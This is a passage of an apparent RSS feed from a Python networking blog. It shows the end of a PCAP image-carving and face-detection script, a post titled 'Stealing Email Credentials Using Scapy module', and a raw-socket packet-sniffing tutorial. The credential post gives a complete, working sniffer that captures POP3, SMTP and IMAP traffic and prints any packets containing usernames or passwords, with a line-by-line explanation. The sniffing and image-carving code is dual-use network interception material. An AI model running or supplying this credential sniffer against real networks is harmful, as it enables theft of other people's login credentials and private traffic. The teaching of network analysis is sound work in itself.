<span class="line"><span style="color: #F8F8F2">            file_name </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">&quot;</span><span style="color: #AE81FF">%s</span><span style="color: #E6DB74">-pic_carver_</span><span style="color: #AE81FF">%d</span><span style="color: #E6DB74">.</span><span style="color: #AE81FF">%s</span><span style="color: #E6DB74">&quot;</span><span style="color: #F8F8F2"> </span><span style="color: #F92672">%</span><span style="color: #F8F8F2"> (</span></span>
<span class="line"><span style="color: #F8F8F2">                pcap_fl, carved_images, image_type)</span></span>
<span class="line"><span style="color: #F8F8F2">            fd </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> </span><span style="color: #66D9EF">open</span><span style="color: #F8F8F2">(</span><span style="color: #E6DB74">&quot;</span><span style="color: #AE81FF">%s</span><span style="color: #E6DB74">/</span><span style="color: #AE81FF">%s</span><span style="color: #E6DB74">&quot;</span><span style="color: #F8F8F2"> </span><span style="color: #F92672">%</span><span style="color: #F8F8F2"> (pictures_directory, file_name), </span><span style="color: #E6DB74">&quot;wb&quot;</span><span style="color: #F8F8F2">)</span></span>
<span class="line"><span style="color: #F8F8F2">            fd.write(image)</span></span>
<span class="line"><span style="color: #F8F8F2">            fd.close()</span></span>
<span class="line"><span style="color: #F8F8F2">            carved_images </span><span style="color: #F92672">+=</span><span style="color: #F8F8F2"> </span><span style="color: #AE81FF">1</span></span>
<span class="line"><span style="color: #F8F8F2">            </span><span style="color: #88846F"># now attempt face detection</span></span>
<span class="line"><span style="color: #F8F8F2">            </span><span style="color: #F92672">try</span><span style="color: #F8F8F2">:</span></span>
<span class="line"><span style="color: #F8F8F2">                result </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> face_detect(</span><span style="color: #E6DB74">&quot;</span><span style="color: #AE81FF">%s</span><span style="color: #E6DB74">/</span><span style="color: #AE81FF">%s</span><span style="color: #E6DB74">&quot;</span><span style="color: #F8F8F2"> </span><span style="color: #F92672">%</span><span style="color: #F8F8F2"> (pictures_directory, file_name),</span></span>
<span class="line"><span style="color: #F8F8F2">                                     file_name)</span></span>
<span class="line"><span style="color: #F8F8F2">                </span><span style="color: #F92672">if</span><span style="color: #F8F8F2"> result </span><span style="color: #F92672">is</span><span style="color: #F8F8F2"> </span><span style="color: #AE81FF">True</span><span style="color: #F8F8F2">:</span></span>
<span class="line"><span style="color: #F8F8F2">                    faces_detected </span><span style="color: #F92672">+=</span><span style="color: #F8F8F2"> </span><span style="color: #AE81FF">1</span></span>
<span class="line"><span style="color: #F8F8F2">            </span><span style="color: #F92672">except</span><span style="color: #F8F8F2">:</span></span>
<span class="line"><span style="color: #F8F8F2">                </span><span style="color: #F92672">pass</span></span>
<span class="line"><span style="color: #F8F8F2">    </span><span style="color: #F92672">return</span><span style="color: #F8F8F2"> carved_images, faces_detected</span></span>
<span class="line"></span>
<span class="line"></span>
<span class="line"><span style="color: #F8F8F2">carved_img, faces_dtct </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> http_assembler(pcap_file)</span></span>
<span class="line"></span>
<span class="line"><span style="color: #66D9EF">print</span><span style="color: #F8F8F2">(</span><span style="color: #E6DB74">&quot;Extracted: </span><span style="color: #AE81FF">%d</span><span style="color: #E6DB74"> images&quot;</span><span style="color: #F8F8F2"> </span><span style="color: #F92672">%</span><span style="color: #F8F8F2"> carved_images)</span></span>
<span class="line"><span style="color: #66D9EF">print</span><span style="color: #F8F8F2">(</span><span style="color: #E6DB74">&quot;Detected: </span><span style="color: #AE81FF">%d</span><span style="color: #E6DB74"> faces&quot;</span><span style="color: #F8F8F2"> </span><span style="color: #F92672">%</span><span style="color: #F8F8F2"> faces_detected)</span></span></code></pre></div>



<div class="wp-block-jetpack-markdown"><p>This Python script is a network traffic analysis tool that reads a PCAP file (<code>bhp.pcap</code>), extracts HTTP traffic, identifies images within the HTTP streams, and attempts to detect faces in those images using the OpenCV library. Here’s a breakdown of the code:</p>
<ol>
<li>
<p><strong>Import Libraries:</strong></p>
<pre><code class="language-python">import cv2
from kamene.all import *
</code></pre>
<ul>
<li><code>cv2</code>: OpenCV library for computer vision tasks.</li>
<li><code>kamene</code>: Scapy’s Kamene module for network packet manipulation.</li>
</ul>
</li>
<li>
<p><strong>Configuration:</strong></p>
<pre><code class="language-python">pictures_directory = &quot;pic_carver/pictures&quot;
faces_directory = &quot;pic_carver/faces&quot;
pcap_file = &quot;bhp.pcap&quot;
</code></pre>
<ul>
<li><code>pictures_directory</code>: Directory to store extracted images.</li>
<li><code>faces_directory</code>: Directory to store images with detected faces.</li>
<li><code>pcap_file</code>: Path to the PCAP file.</li>
</ul>
</li>
<li>
<p><strong>Face Detection Function:</strong></p>
<pre><code class="language-python">def face_detect(path, file_name):
    # Uses OpenCV to detect faces in an image
    ...
</code></pre>
</li>
<li>
<p><strong>HTTP Header Extraction Function:</strong></p>
<pre><code class="language-python">def get_http_headers(http_payload):
    # Extracts HTTP headers from the payload
    ...
</code></pre>
</li>
<li>
<p><strong>Image Extraction Function:</strong></p>
<pre><code class="language-python">def extract_image(headers, http_payload):
    # Extracts image and image type from HTTP headers and payload
    ...
</code></pre>
</li>
<li>
<p><strong>HTTP Assembler Function:</strong></p>
<pre><code class="language-python">def http_assembler(pcap_fl):
    # Assembles HTTP streams, extracts images, and detects faces
    ...
</code></pre>
</li>
<li>
<p><strong>Main Execution:</strong></p>
<pre><code class="language-python">carved_img, faces_dtct = http_assembler(pcap_file)
</code></pre>
<ul>
<li>Calls the <code>http_assembler</code> function with the provided PCAP file.</li>
</ul>
</li>
<li>
<p><strong>Print Results:</strong></p>
<pre><code class="language-python">print(&quot;Extracted: %d images&quot; % carved_images)
print(&quot;Detected: %d faces&quot; % faces_detected)
</code></pre>
<ul>
<li>Prints the number of images extracted and faces detected.</li>
</ul>
</li>
</ol>
<p>The script processes each TCP stream in the PCAP file looking for HTTP traffic. For each HTTP stream, it attempts to extract images based on the Content-Type header. Extracted images are saved to the <code>pictures_directory</code>. If a face is detected in an image, a copy of the image with face annotations is saved to the <code>faces_directory</code>.</p>
<p>Please note that for this code to work, you need to have the OpenCV library and the <code>haarcascade_frontalface_alt.xml</code> file (used for face detection) available. Additionally, the code may need adjustments based on the specific format and structure of the PCAP file you are analyzing.</p>
</div>
<p>The post <a href="https://awjunaid.com/python/arp-cache-poisoning-with-scapy-fork-kamene/">ARP Cache poisoning with Scapy fork Kamene</a> appeared first on <a href="https://awjunaid.com">Abdul Wahab Junaid</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://awjunaid.com/python/arp-cache-poisoning-with-scapy-fork-kamene/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">8933</post-id>	</item>
		<item>
		<title>Stealing Email Credentials Using Scapy module</title>
		<link>https://awjunaid.com/python/stealing-email-credentials-using-scapy-module/</link>
					<comments>https://awjunaid.com/python/stealing-email-credentials-using-scapy-module/?noamp=mobile#respond</comments>
		
		<dc:creator><![CDATA[Abdul Wahab Junaid]]></dc:creator>
		<pubDate>Sun, 31 Dec 2023 00:08:56 +0000</pubDate>
				<category><![CDATA[Networking]]></category>
		<category><![CDATA[Python]]></category>
		<category><![CDATA[networking]]></category>
		<category><![CDATA[python]]></category>
		<guid isPermaLink="false">https://awjunaid.com/?p=8930</guid>

					<description><![CDATA[<p>Scapy is a powerful Python module that allows for packet manipulation, sniffing, forging, and sending of network packets.&#8230;</p>
<p>The post <a href="https://awjunaid.com/python/stealing-email-credentials-using-scapy-module/">Stealing Email Credentials Using Scapy module</a> appeared first on <a href="https://awjunaid.com">Abdul Wahab Junaid</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p class="wp-block-paragraph">Scapy is a powerful Python module that allows for packet manipulation, sniffing, forging, and sending of network packets. It is widely used for network analysis and penetration testing. Scapy provides a flexible and easy-to-use interface for crafting and dissecting network packets at various protocol layers.</p>



<div class="wp-block-kevinbatdorf-code-block-pro cbp-has-line-numbers cbp-highlight-hover" data-code-block-pro-font-family="Code-Pro-JetBrains-Mono" style="font-size:.875rem;font-family:Code-Pro-JetBrains-Mono,ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,monospace;--cbp-line-number-color:#F8F8F2;--cbp-line-number-width:calc(2 * 0.6 * .875rem);--cbp-line-highlight-color:rgba(253, 253, 237, 0.2);line-height:1.25rem;--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)"><span style="display:flex;align-items:center;padding:10px 0px 10px 16px;margin-bottom:-2px;width:100%;text-align:left;background-color:#34362e;color:#efefe1">Python</span><span role="button" tabindex="0" data-code="from kamene.all import *


# our packet callback
def packet_callback(packet):
    if packet[TCP].payload:
        mail_packet = bytes(packet[TCP].payload)
        if b'user' in mail_packet.lower() or b'pass' in mail_packet.lower():
            print(&quot;[*] Server: %s&quot; % packet[IP].dst)
            print(&quot;[*] %s&quot; % packet[TCP].payload)


# fire up our sniffer
sniff(filter=&quot;tcp port 110 or tcp port 25 or tcp port 143&quot;,
      prn=packet_callback,
      store=0)" style="color:#F8F8F2;display:none" aria-label="Copy" class="code-block-pro-copy-button"><svg xmlns="http://www.w3.org/2000/svg" style="width:24px;height:24px" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2"><path class="with-check" stroke-linecap="round" stroke-linejoin="round" d="M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2m-6 9l2 2 4-4"></path><path class="without-check" stroke-linecap="round" stroke-linejoin="round" d="M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2"></path></svg></span><pre class="shiki monokai" style="background-color: #272822" tabindex="0"><code><span class="line"><span style="color: #F92672">from</span><span style="color: #F8F8F2"> kamene.all </span><span style="color: #F92672">import</span><span style="color: #F8F8F2"> </span><span style="color: #F92672">*</span></span>
<span class="line"></span>
<span class="line"></span>
<span class="line"><span style="color: #88846F"># our packet callback</span></span>
<span class="line"><span style="color: #66D9EF; font-style: italic">def</span><span style="color: #F8F8F2"> </span><span style="color: #A6E22E">packet_callback</span><span style="color: #F8F8F2">(</span><span style="color: #FD971F; font-style: italic">packet</span><span style="color: #F8F8F2">):</span></span>
<span class="line"><span style="color: #F8F8F2">    </span><span style="color: #F92672">if</span><span style="color: #F8F8F2"> packet[</span><span style="color: #AE81FF">TCP</span><span style="color: #F8F8F2">].payload:</span></span>
<span class="line"><span style="color: #F8F8F2">        mail_packet </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> </span><span style="color: #66D9EF; font-style: italic">bytes</span><span style="color: #F8F8F2">(packet[</span><span style="color: #AE81FF">TCP</span><span style="color: #F8F8F2">].payload)</span></span>
<span class="line"><span style="color: #F8F8F2">        </span><span style="color: #F92672">if</span><span style="color: #F8F8F2"> </span><span style="color: #66D9EF; font-style: italic">b</span><span style="color: #E6DB74">&#39;user&#39;</span><span style="color: #F8F8F2"> </span><span style="color: #F92672">in</span><span style="color: #F8F8F2"> mail_packet.lower() </span><span style="color: #F92672">or</span><span style="color: #F8F8F2"> </span><span style="color: #66D9EF; font-style: italic">b</span><span style="color: #E6DB74">&#39;pass&#39;</span><span style="color: #F8F8F2"> </span><span style="color: #F92672">in</span><span style="color: #F8F8F2"> mail_packet.lower():</span></span>
<span class="line"><span style="color: #F8F8F2">            </span><span style="color: #66D9EF">print</span><span style="color: #F8F8F2">(</span><span style="color: #E6DB74">&quot;[*] Server: </span><span style="color: #AE81FF">%s</span><span style="color: #E6DB74">&quot;</span><span style="color: #F8F8F2"> </span><span style="color: #F92672">%</span><span style="color: #F8F8F2"> packet[</span><span style="color: #AE81FF">IP</span><span style="color: #F8F8F2">].dst)</span></span>
<span class="line"><span style="color: #F8F8F2">            </span><span style="color: #66D9EF">print</span><span style="color: #F8F8F2">(</span><span style="color: #E6DB74">&quot;[*] </span><span style="color: #AE81FF">%s</span><span style="color: #E6DB74">&quot;</span><span style="color: #F8F8F2"> </span><span style="color: #F92672">%</span><span style="color: #F8F8F2"> packet[</span><span style="color: #AE81FF">TCP</span><span style="color: #F8F8F2">].payload)</span></span>
<span class="line"></span>
<span class="line"></span>
<span class="line"><span style="color: #88846F"># fire up our sniffer</span></span>
<span class="line"><span style="color: #F8F8F2">sniff(</span><span style="color: #FD971F; font-style: italic">filter</span><span style="color: #F92672">=</span><span style="color: #E6DB74">&quot;tcp port 110 or tcp port 25 or tcp port 143&quot;</span><span style="color: #F8F8F2">,</span></span>
<span class="line"><span style="color: #F8F8F2">      </span><span style="color: #FD971F; font-style: italic">prn</span><span style="color: #F92672">=</span><span style="color: #F8F8F2">packet_callback,</span></span>
<span class="line"><span style="color: #F8F8F2">      </span><span style="color: #FD971F; font-style: italic">store</span><span style="color: #F92672">=</span><span style="color: #AE81FF">0</span><span style="color: #F8F8F2">)</span></span></code></pre></div>



<div class="wp-block-jetpack-markdown"><p>The code you provided is a simple packet sniffer using the Kamene library, which is a fork of Scapy. This script specifically targets email traffic by sniffing packets on ports commonly associated with email protocols, such as POP3 (port 110), SMTP (port 25), and IMAP (port 143). The script prints information about the server and any packets containing the keywords ‘user’ or ‘pass’ in their payload.</p>
<h2>Explanation</h2>
<ol>
<li>
<p><strong>Import Kamene Library:</strong></p>
<pre><code class="language-python">from kamene.all import *
</code></pre>
<p>This line imports all functions and classes from the Kamene library. Kamene is a network packet manipulation library based on Scapy.</p>
</li>
<li>
<p><strong>Packet Callback Function:</strong></p>
<pre><code class="language-python">def packet_callback(packet):
    if packet[TCP].payload:
        mail_packet = bytes(packet[TCP].payload)
        if b'user' in mail_packet.lower() or b'pass' in mail_packet.lower():
            print(&quot;[*] Server: %s&quot; % packet[IP].dst)
            print(&quot;[*] %s&quot; % packet[TCP].payload)
</code></pre>
<ul>
<li>The <code>packet_callback</code> function is called for each packet captured by the sniffer.</li>
<li>It checks if the packet has TCP payload data.</li>
<li>It converts the TCP payload to bytes and checks if the lowercase version of the payload contains the strings ‘user’ or ‘pass’.</li>
<li>If the condition is met, it prints the destination IP address (<code>packet[IP].dst</code>) and the payload of the TCP packet (<code>packet[TCP].payload</code>).</li>
</ul>
</li>
<li>
<p><strong>Sniffing Configuration:</strong></p>
<pre><code class="language-python">sniff(filter=&quot;tcp port 110 or tcp port 25 or tcp port 143&quot;,
      prn=packet_callback,
      store=0)
</code></pre>
<ul>
<li>The <code>sniff</code> function captures packets based on the provided filter.</li>
<li>The filter includes TCP packets on ports 110 (POP3), 25 (SMTP), or 143 (IMAP).</li>
<li>The <code>prn</code> parameter specifies the callback function to be executed for each captured packet (<code>packet_callback</code>).</li>
<li>The <code>store</code> parameter is set to 0, indicating that captured packets should not be stored in memory.</li>
</ul>
</li>
</ol>
</div>
<p>The post <a href="https://awjunaid.com/python/stealing-email-credentials-using-scapy-module/">Stealing Email Credentials Using Scapy module</a> appeared first on <a href="https://awjunaid.com">Abdul Wahab Junaid</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://awjunaid.com/python/stealing-email-credentials-using-scapy-module/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">8930</post-id>	</item>
		<item>
		<title>Packet Sniffing on window and linux</title>
		<link>https://awjunaid.com/python/packet-sniffing-on-window-and-linux/</link>
					<comments>https://awjunaid.com/python/packet-sniffing-on-window-and-linux/?noamp=mobile#respond</comments>
		
		<dc:creator><![CDATA[Abdul Wahab Junaid]]></dc:creator>
		<pubDate>Sat, 30 Dec 2023 23:46:10 +0000</pubDate>
				<category><![CDATA[Networking]]></category>
		<category><![CDATA[Python]]></category>
		<category><![CDATA[networking]]></category>
		<category><![CDATA[python]]></category>
		<guid isPermaLink="false">https://awjunaid.com/?p=8927</guid>

					<description><![CDATA[<p>Packet Sniffing on Windows These lines import the necessary modules: socket for handling networking functionality and os for&#8230;</p>
<p>The post <a href="https://awjunaid.com/python/packet-sniffing-on-window-and-linux/">Packet Sniffing on window and linux</a> appeared first on <a href="https://awjunaid.com">Abdul Wahab Junaid</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<div class="wp-block-jetpack-markdown"><p>Packet sniffing, also known as network sniffing or protocol analysis, is the process of intercepting and logging data traffic that is passing through a computer network. This technique is often used for troubleshooting network issues, analyzing network performance, and, unfortunately, can also be employed for malicious purposes.</p>
<h2>How packet sniffing works and some key points related to it:</h2>
<h3>How Packet Sniffing Works:</h3>
<ol>
<li>
<p><strong>Capture Packets:</strong></p>
<ul>
<li>A packet sniffer captures data packets as they travel across a network.</li>
<li>This is typically done by placing the network interface card (NIC) into promiscuous mode, allowing it to capture all packets, not just those destined for the specific machine.</li>
</ul>
</li>
<li>
<p><strong>Analyze Packets:</strong></p>
<ul>
<li>Once captured, the packet sniffer can analyze the contents of each packet.</li>
<li>It can extract information such as source and destination addresses, protocols used, and the actual data being transmitted.</li>
</ul>
</li>
<li>
<p><strong>Logging or Display:</strong></p>
<ul>
<li>The captured data can be logged to a file for later analysis, or it can be displayed in real-time for immediate monitoring.</li>
</ul>
</li>
</ol>
<h3>Use Cases:</h3>
<ol>
<li>
<p><strong>Network Troubleshooting:</strong></p>
<ul>
<li>Packet sniffers are valuable tools for diagnosing and troubleshooting network issues.</li>
<li>They can help identify issues such as packet loss, network congestion, and faulty configurations.</li>
</ul>
</li>
<li>
<p><strong>Security Analysis:</strong></p>
<ul>
<li>Security professionals may use packet sniffers to detect and analyze malicious activities on a network.</li>
<li>Unauthorized access, data breaches, and other security threats can be identified through packet analysis.</li>
</ul>
</li>
<li>
<p><strong>Network Performance Optimization:</strong></p>
<ul>
<li>By analyzing network traffic, administrators can optimize network performance, identify bandwidth-hungry applications, and make adjustments to improve overall efficiency.</li>
</ul>
</li>
</ol>
<h3>Risks and Concerns:</h3>
<ol>
<li>
<p><strong>Privacy Concerns:</strong></p>
<ul>
<li>Unauthorized packet sniffing can raise privacy concerns, especially if sensitive or personal information is captured.</li>
</ul>
</li>
<li>
<p><strong>Security Threats:</strong></p>
<ul>
<li>Malicious actors can use packet sniffers for unauthorized access, capturing login credentials, or analyzing network traffic for vulnerabilities.</li>
</ul>
</li>
<li>
<p><strong>Legal Implications:</strong></p>
<ul>
<li>In many jurisdictions, intercepting and analyzing network traffic without proper authorization is illegal.</li>
</ul>
</li>
</ol>
<h3>Mitigation Strategies:</h3>
<ol>
<li>
<p><strong>Encryption:</strong></p>
<ul>
<li>Use encryption protocols (e.g., HTTPS, SSL/TLS) to secure sensitive data during transmission.</li>
</ul>
</li>
<li>
<p><strong>Network Segmentation:</strong></p>
<ul>
<li>Implement network segmentation to limit the scope of packet sniffing activities.</li>
</ul>
</li>
<li>
<p><strong>Intrusion Detection and Prevention Systems (IDPS):</strong></p>
<ul>
<li>Use IDPS tools to detect and prevent suspicious network activities.</li>
</ul>
</li>
<li>
<p><strong>Authorization and Access Controls:</strong></p>
<ul>
<li>Limit access to network resources and use strong authentication mechanisms.</li>
</ul>
</li>
</ol>
<p>Packet sniffing, when used responsibly and for legitimate purposes, can be a powerful tool for network management and security. However, it’s crucial to be aware of the potential risks and to employ appropriate safeguards to protect privacy and prevent misuse.</p>
</div>



<h2 class="wp-block-heading">Packet Sniffing on Windows</h2>



<div class="wp-block-kevinbatdorf-code-block-pro cbp-has-line-numbers cbp-highlight-hover" data-code-block-pro-font-family="Code-Pro-JetBrains-Mono" style="font-size:.875rem;font-family:Code-Pro-JetBrains-Mono,ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,monospace;--cbp-line-number-color:#F8F8F2;--cbp-line-number-width:calc(2 * 0.6 * .875rem);--cbp-line-highlight-color:rgba(253, 253, 237, 0.2);line-height:1.25rem;--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)"><span style="display:flex;align-items:center;padding:10px 0px 10px 16px;margin-bottom:-2px;width:100%;text-align:left;background-color:#34362e;color:#efefe1">Python</span><span role="button" tabindex="0" data-code="import socket
import os

# host to listen on
host = &quot;192.168.183.105&quot;

# create a raw socket and bind it to the public interface
if os.name == &quot;nt&quot;:
    socket_protocol = socket.IPPROTO_IP
else:
    socket_protocol = socket.IPPROTO_ICMP

sniffer = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket_protocol) 

sniffer.bind((host, 0))

# we want the IP headers included in the capture
sniffer.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)

# if we're on Windows we need to send an IOCTL
# to setup promiscuous mode
if os.name == &quot;nt&quot;: 
    sniffer.ioctl(socket.SIO_RCVALL, socket.RCVALL_ON)

# read in a single packet
print(sniffer.recvfrom(65535))

# if we're on Windows turn off promiscuous mode
if os.name == &quot;nt&quot;:
    sniffer.ioctl(socket.SIO_RCVALL, socket.RCVALL_OFF)" style="color:#F8F8F2;display:none" aria-label="Copy" class="code-block-pro-copy-button"><svg xmlns="http://www.w3.org/2000/svg" style="width:24px;height:24px" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2"><path class="with-check" stroke-linecap="round" stroke-linejoin="round" d="M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2m-6 9l2 2 4-4"></path><path class="without-check" stroke-linecap="round" stroke-linejoin="round" d="M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2"></path></svg></span><pre class="shiki monokai" style="background-color: #272822" tabindex="0"><code><span class="line"><span style="color: #F92672">import</span><span style="color: #F8F8F2"> socket</span></span>
<span class="line"><span style="color: #F92672">import</span><span style="color: #F8F8F2"> os</span></span>
<span class="line"></span>
<span class="line"><span style="color: #88846F"># host to listen on</span></span>
<span class="line"><span style="color: #F8F8F2">host </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">&quot;192.168.183.105&quot;</span></span>
<span class="line"></span>
<span class="line"><span style="color: #88846F"># create a raw socket and bind it to the public interface</span></span>
<span class="line"><span style="color: #F92672">if</span><span style="color: #F8F8F2"> os.name </span><span style="color: #F92672">==</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">&quot;nt&quot;</span><span style="color: #F8F8F2">:</span></span>
<span class="line"><span style="color: #F8F8F2">    socket_protocol </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> socket.</span><span style="color: #AE81FF">IPPROTO_IP</span></span>
<span class="line"><span style="color: #F92672">else</span><span style="color: #F8F8F2">:</span></span>
<span class="line"><span style="color: #F8F8F2">    socket_protocol </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> socket.</span><span style="color: #AE81FF">IPPROTO_ICMP</span></span>
<span class="line"></span>
<span class="line"><span style="color: #F8F8F2">sniffer </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> socket.socket(socket.</span><span style="color: #AE81FF">AF_INET</span><span style="color: #F8F8F2">, socket.</span><span style="color: #AE81FF">SOCK_RAW</span><span style="color: #F8F8F2">, socket_protocol) </span></span>
<span class="line"></span>
<span class="line"><span style="color: #F8F8F2">sniffer.bind((host, </span><span style="color: #AE81FF">0</span><span style="color: #F8F8F2">))</span></span>
<span class="line"></span>
<span class="line"><span style="color: #88846F"># we want the IP headers included in the capture</span></span>
<span class="line"><span style="color: #F8F8F2">sniffer.setsockopt(socket.</span><span style="color: #AE81FF">IPPROTO_IP</span><span style="color: #F8F8F2">, socket.</span><span style="color: #AE81FF">IP_HDRINCL</span><span style="color: #F8F8F2">, </span><span style="color: #AE81FF">1</span><span style="color: #F8F8F2">)</span></span>
<span class="line"></span>
<span class="line"><span style="color: #88846F"># if we&#39;re on Windows we need to send an IOCTL</span></span>
<span class="line"><span style="color: #88846F"># to setup promiscuous mode</span></span>
<span class="line"><span style="color: #F92672">if</span><span style="color: #F8F8F2"> os.name </span><span style="color: #F92672">==</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">&quot;nt&quot;</span><span style="color: #F8F8F2">: </span></span>
<span class="line"><span style="color: #F8F8F2">    sniffer.ioctl(socket.</span><span style="color: #AE81FF">SIO_RCVALL</span><span style="color: #F8F8F2">, socket.</span><span style="color: #AE81FF">RCVALL_ON</span><span style="color: #F8F8F2">)</span></span>
<span class="line"></span>
<span class="line"><span style="color: #88846F"># read in a single packet</span></span>
<span class="line"><span style="color: #66D9EF">print</span><span style="color: #F8F8F2">(sniffer.recvfrom(</span><span style="color: #AE81FF">65535</span><span style="color: #F8F8F2">))</span></span>
<span class="line"></span>
<span class="line"><span style="color: #88846F"># if we&#39;re on Windows turn off promiscuous mode</span></span>
<span class="line"><span style="color: #F92672">if</span><span style="color: #F8F8F2"> os.name </span><span style="color: #F92672">==</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">&quot;nt&quot;</span><span style="color: #F8F8F2">:</span></span>
<span class="line"><span style="color: #F8F8F2">    sniffer.ioctl(socket.</span><span style="color: #AE81FF">SIO_RCVALL</span><span style="color: #F8F8F2">, socket.</span><span style="color: #AE81FF">RCVALL_OFF</span><span style="color: #F8F8F2">)</span></span></code></pre></div>



<div class="wp-block-kevinbatdorf-code-block-pro cbp-has-line-numbers cbp-highlight-hover" data-code-block-pro-font-family="Code-Pro-JetBrains-Mono" style="font-size:.875rem;font-family:Code-Pro-JetBrains-Mono,ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,monospace;--cbp-line-number-color:#F8F8F2;--cbp-line-number-width:calc(1 * 0.6 * .875rem);--cbp-line-highlight-color:rgba(253, 253, 237, 0.2);line-height:1.25rem;--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)"><span style="display:flex;align-items:center;padding:10px 0px 10px 16px;margin-bottom:-2px;width:100%;text-align:left;background-color:#34362e;color:#efefe1">Python</span><span role="button" tabindex="0" data-code="import socket
import os" style="color:#F8F8F2;display:none" aria-label="Copy" class="code-block-pro-copy-button"><svg xmlns="http://www.w3.org/2000/svg" style="width:24px;height:24px" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2"><path class="with-check" stroke-linecap="round" stroke-linejoin="round" d="M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2m-6 9l2 2 4-4"></path><path class="without-check" stroke-linecap="round" stroke-linejoin="round" d="M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2"></path></svg></span><pre class="shiki monokai" style="background-color: #272822" tabindex="0"><code><span class="line"><span style="color: #F92672">import</span><span style="color: #F8F8F2"> socket</span></span>
<span class="line"><span style="color: #F92672">import</span><span style="color: #F8F8F2"> os</span></span></code></pre></div>



<p class="wp-block-paragraph">These lines import the necessary modules: <code>socket</code> for handling networking functionality and <code>os</code> for platform-specific functionality.</p>



<div class="wp-block-kevinbatdorf-code-block-pro cbp-has-line-numbers cbp-highlight-hover" data-code-block-pro-font-family="Code-Pro-JetBrains-Mono" style="font-size:.875rem;font-family:Code-Pro-JetBrains-Mono,ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,monospace;--cbp-line-number-color:#F8F8F2;--cbp-line-number-width:calc(1 * 0.6 * .875rem);--cbp-line-highlight-color:rgba(253, 253, 237, 0.2);line-height:1.25rem;--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)"><span style="display:flex;align-items:center;padding:10px 0px 10px 16px;margin-bottom:-2px;width:100%;text-align:left;background-color:#34362e;color:#efefe1">Python</span><span role="button" tabindex="0" data-code="# host to listen on
host = &quot;192.168.180.105&quot;" style="color:#F8F8F2;display:none" aria-label="Copy" class="code-block-pro-copy-button"><svg xmlns="http://www.w3.org/2000/svg" style="width:24px;height:24px" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2"><path class="with-check" stroke-linecap="round" stroke-linejoin="round" d="M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2m-6 9l2 2 4-4"></path><path class="without-check" stroke-linecap="round" stroke-linejoin="round" d="M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2"></path></svg></span><pre class="shiki monokai" style="background-color: #272822" tabindex="0"><code><span class="line"><span style="color: #88846F"># host to listen on</span></span>
<span class="line"><span style="color: #F8F8F2">host </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">&quot;192.168.180.105&quot;</span></span></code></pre></div>



<p class="wp-block-paragraph">This variable specifies the host IP address on which the sniffer will listen for incoming packets.</p>



